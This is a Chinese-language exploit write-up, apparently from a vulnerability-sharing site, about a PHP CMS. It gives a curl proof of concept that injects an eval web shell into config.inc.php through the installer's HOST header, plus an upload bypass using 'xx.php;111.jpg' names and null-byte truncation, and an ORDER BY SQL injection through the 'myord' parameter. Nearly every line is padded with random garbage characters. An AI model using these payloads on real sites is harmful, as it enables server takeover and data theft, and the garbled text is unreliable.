注入:6 K0 D* i i' [* z& g6 q% g
' f- J3 s3 r! D
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码' s( K n: Z6 C- y l/ o. W$ L
5 y9 n* q- d0 l9 h( {
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
! c: F* ]: S1 Q `+ ~! o: c鸡肋2: 有一定安全常识的站长都会删掉 install 目录9 |5 l5 L' h- t' f+ m, \3 ]
7 |% ]( i: E8 @, R) S
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响' [; S4 Q0 m2 y" A, e" o# p$ w
' |( d0 ]: r% ~( T分析:
' f! z' d; Z( H9 a
% _2 H. w5 D. H d2 ~
1 R' U9 z! l$ y) r$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤& M% a# T" y% J; P
8 t3 D+ t, j, R- O; L* H1 J* S $filestr = fread(fopen($SysConfigFile, 'r'),30000);
2 C6 O9 P: J$ K) t! j) U4 [1 t $filestr=str_replace(" ","",$filestr);" M3 C; v! ~ w5 p: c- Q4 q2 a
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
' }5 ]! S" U9 a. D G! n $filestr=str_replace("DefaultDbName",$dbname,$filestr);# O5 U% q* w. Z3 D
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
. [9 [( U/ x( F! z& G5 w& b $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
2 }, c5 h' H _$ [& g W! \ $filestr=str_replace("DefaultsLan","zh_cn",$filestr);7 G1 b' ] k+ h* d0 p
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);: W7 O3 c- T( O# h/ {* b5 u2 E7 ~7 j
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- R, q( ?$ S( K) b1 P/ i" i
. T0 S2 p( X3 Q; j, m# D. t2 O4 @
fwrite(fopen($ConFile,"w"),$filestr,30000);1 L6 d% V4 s. G: X4 l- X8 p
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
' i% ^1 ~$ t9 s% ]+ c- s
- X. D* n8 i4 W" E- B, Apoc:& o: w0 x8 Z# o- T( e9 N& r
' O9 C/ g+ k& H1 k5 p9 t6 O
?9 K: Q7 ^ ?) v$ V, A0 b" T+ g
15 r* a# U! u, F' Y7 l/ C
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#" ^ C0 O* f8 B) h# Y( [2 c
shell地址: /config.inc.php0 `) o" L, |" @7 F
跟之前的 phpcms一样 需要远程数据库" b% _4 V! f/ K* u5 s1 w5 e
# J: R. y9 C/ k) e- p1 i+ G* X( Q
——————————————————–( ~3 q' K5 [0 f# n% B5 W* Y
上传漏洞(需要进后台):5 I2 Z* P# R; {1 ~
漏洞文件: /kedit/upload_cgi/upload.php
5 |! e \; ?1 t# E P6 ?这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用1 |9 H3 A8 B6 Q, b$ G
1 z4 }, \9 E e( ^/ r2 x
+ A4 m$ A# b& k# k<?php
( i5 U2 ?5 N$ K/ p7 W! I define("ROOTPATH", "../../");# ~" ]6 |8 s9 J3 I D. O& N
include(ROOTPATH."includes/admin.inc.php");
$ u r N# z/ ~8 Z7 ?6 p; F* M NeedAuth(0);, q! e0 Y8 K% p: D* @7 ~
+ c! A% z, l3 h2 J0 `
$dt=date("Ymd",time());6 I8 h. S1 B# F& {) c, |: }$ D
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){8 D. l1 }1 M% _9 U ]. h/ h
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 I3 ?, r2 y. Y6 ?$ P$ F }
% b- P& q5 H- ]3 F1 [& F 5 J) d# N$ Y# J; a8 i, |# R$ _8 R0 a
//文件保存目录路径% Z6 Z9 `* K3 W3 @, Z/ `" i, I
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
* B$ R& ?' z4 E* r& |& C echo $save_path;
% E9 t& ~ I f' V //文件保存目录URL
0 a4 `2 N$ K, c6 C& o $save_url = '../../'.$_POST['attachPath'].$dt.'/';" d% Q% x( f% v0 r8 u+ |1 ]" N. Y
7 D0 L/ L3 L2 C2 i; | //定义允许上传的文件扩展名
% L+ c- |# Z) O E& l $ext_arr = array('gif','jpg','png','bmp'); //限制后缀+ }0 |6 g$ t& |
+ H/ d* K' ]8 ~- p. W //最大文件大小5 P6 z6 p) v6 b. H$ y' c
$max_size = 1000000;
; Z* `9 c& @( A6 [% W# w " A! A! e% T/ G6 K' Q" N
//更改目录权限- ]6 v+ @# U0 ^( b
@mkdir($save_path, 0777);
- i6 h* N( a1 r6 m' [( `4 C" G4 \& m9 v
' |: [) H, K% D) T+ Q //文件的全部路径
& F. \0 [; e, | $file_path = $save_path.$_POST['fileName']; //保存文件名8 |3 U C0 ~. Z) T( m8 ~3 Y0 M7 K/ t
4 I/ R5 h3 S! W5 m6 a* A
//文件URL
- w7 k/ u2 C& U9 @' _ $file_url = $save_url.$_POST['fileName'];0 P* L1 z) Y. k6 u @ n
//有上传文件时/ z C0 y r2 k0 J
if (empty($_FILES) === false) {% o( Q% N/ d8 B+ Q ], A
3 {# }* f$ I7 i1 B: \$ Z/ B
//原文件名: I+ t/ m0 j( ]8 Y5 M7 J
$file_name = $_FILES['fileData']['name'];8 s/ C; t0 n5 E) N* y
//服务器上临时文件名
& x" A% c/ q/ y# ?/ f $tmp_name = $_FILES['fileData']['tmp_name'];- U" p% }/ f0 N
//文件大小
/ ?* e1 f4 }9 ^- m $file_size = $_FILES['fileData']['size'];& n: g9 |0 T* S4 Q p2 J+ a
//检查目录
9 H4 ^8 n2 U8 M P: H. C if (@is_dir($save_path) === false) {: P* k5 T1 ^' [" t$ Y
alert("上传目录不存在。");+ L& D% U c' n. @3 B6 Q
}
" S' k' D0 k* r, O, Q1 I* \ //检查目录写权限
5 L* \. P# S( f4 G3 { if (@is_writable($save_path) === false) {
7 o- m6 X$ J/ W3 V5 r) d$ ? alert("上传目录没有写权限。");
( r# H$ Z$ Y) S }, s: _ p8 B+ z. j- B. ^9 ?( X7 O
//检查是否已上传0 F- Z K+ k+ z# o' W" i5 h
if (@is_uploaded_file($tmp_name) === false) {
2 @; @% k" R. _: G' p alert("临时文件可能不是上传文件。");+ k! l* S( w1 |) O' a& s
}6 W5 Y% u K* M" i+ G: y+ |
//检查文件大小; d* Y6 u# X8 m9 I, S
if ($file_size > $max_size) {8 E8 v' G! f% t
alert("上传文件大小超过限制。");- O/ I5 w' F; v8 I
}
; w1 {; o3 N0 G0 J0 A! B //获得文件扩展名
7 j* l% W1 G- P; ^ $temp_arr = explode(".", $_POST['fileName']);
8 _, x" Y2 c \. { $file_ext = array_pop($temp_arr);2 Y/ C0 J& g) F8 p0 F D9 y5 v
$file_ext = trim($file_ext);
6 ^4 b) T: f" ?% X p( [ $file_ext = strtolower($file_ext);
# o' W8 O5 d/ W0 z# c. t % P3 }0 n* y1 Q3 y
//检查扩展名
& R3 @ k" y- ~) S0 y if (in_array($file_ext, $ext_arr) === false) {
$ H; Z5 F" w' H7 C6 U2 l- N! M1 l alert("上传文件扩展名是不允许的扩展名。");: }2 w5 {1 {: S4 a- W1 ~& V# {
}
! F3 w7 Q. Y0 w& c; X- B j& l
) Z# s7 \2 U3 L9 W //移动文件
2 C1 s- [: d5 e3 f) V- p //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
( \, |1 E/ o/ C2 x% m if (move_uploaded_file($tmp_name, $file_path) === false) {
4 ^6 V1 O$ T9 \+ G2 w2 T3 D5 o alert("上传文件失败。");
# E- g8 J% [! }/ ~6 A1 [# X# @* c0 |- o7 c }& ~# ]2 a& I1 }9 E: G
8 ~6 q" | ?& [! s% {6 h; s0 a. |
@chmod($file_path,0666);, D" Y. N& o( c
1 K/ G4 @4 `9 b, W+ A {, H5 y
?>1 m3 J w X% b4 u Q% x! ^
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
( g! B+ ~+ \7 V( `5 P0 j$ J
0 T; ?* |; ]- r+ e/ Z; F4 qapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
" `; d, _7 ?- M$ ~8 G/ }
2 [0 K, W3 ^4 I2 E: n——————————————————* k" S7 o7 Q, I( s2 Z6 U
注入漏洞:* U: k* V- o" z
漏洞文件:search/module/search.php% _" I; l. t! u5 a
/search/index.php?key=1&myord=1 [sqlinjection]
+ l+ u$ `4 p+ ?3 F& Q7 N
& E0 r, c, |$ ^) k, _ + ^, O% O r* t6 V, M- a& z' [
<?php( o; J, a2 T- V# c, R/ s% l1 O1 O
// ... 省略 n 行...
/ Y9 K* t' N, k7 t I- V //第18行:! I$ k' j; U" W" p& Q
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响7 L& x$ b) d; z9 v, L8 i. |
$page=htmlspecialchars($_GET["page"]);
/ G3 o. q D& `9 y7 a $myord=htmlspecialchars($_GET["myord"]);& t7 }$ C& t4 t
# R; y+ W* y5 l+ E
// ... 省略 n 行...
$ U3 S- U- v4 j8 ]3 c# U $key,$myord 两个参数带入查询
/ ^+ K2 L; ^, T //第47行 $key:/ a0 X. C- Z3 I
! U( \' Q# t/ A! Z0 A, u
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
. [8 J# W8 y5 g4 d0 j ' s6 n+ W) g8 h% O! i3 j* R
//第197行 $myord
% w6 i6 Q5 v, B C% c $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
' ], E r$ f$ A7 s : o8 J* @6 S/ x) o
?>
; ^8 s4 s. J9 S/ K) M$ P |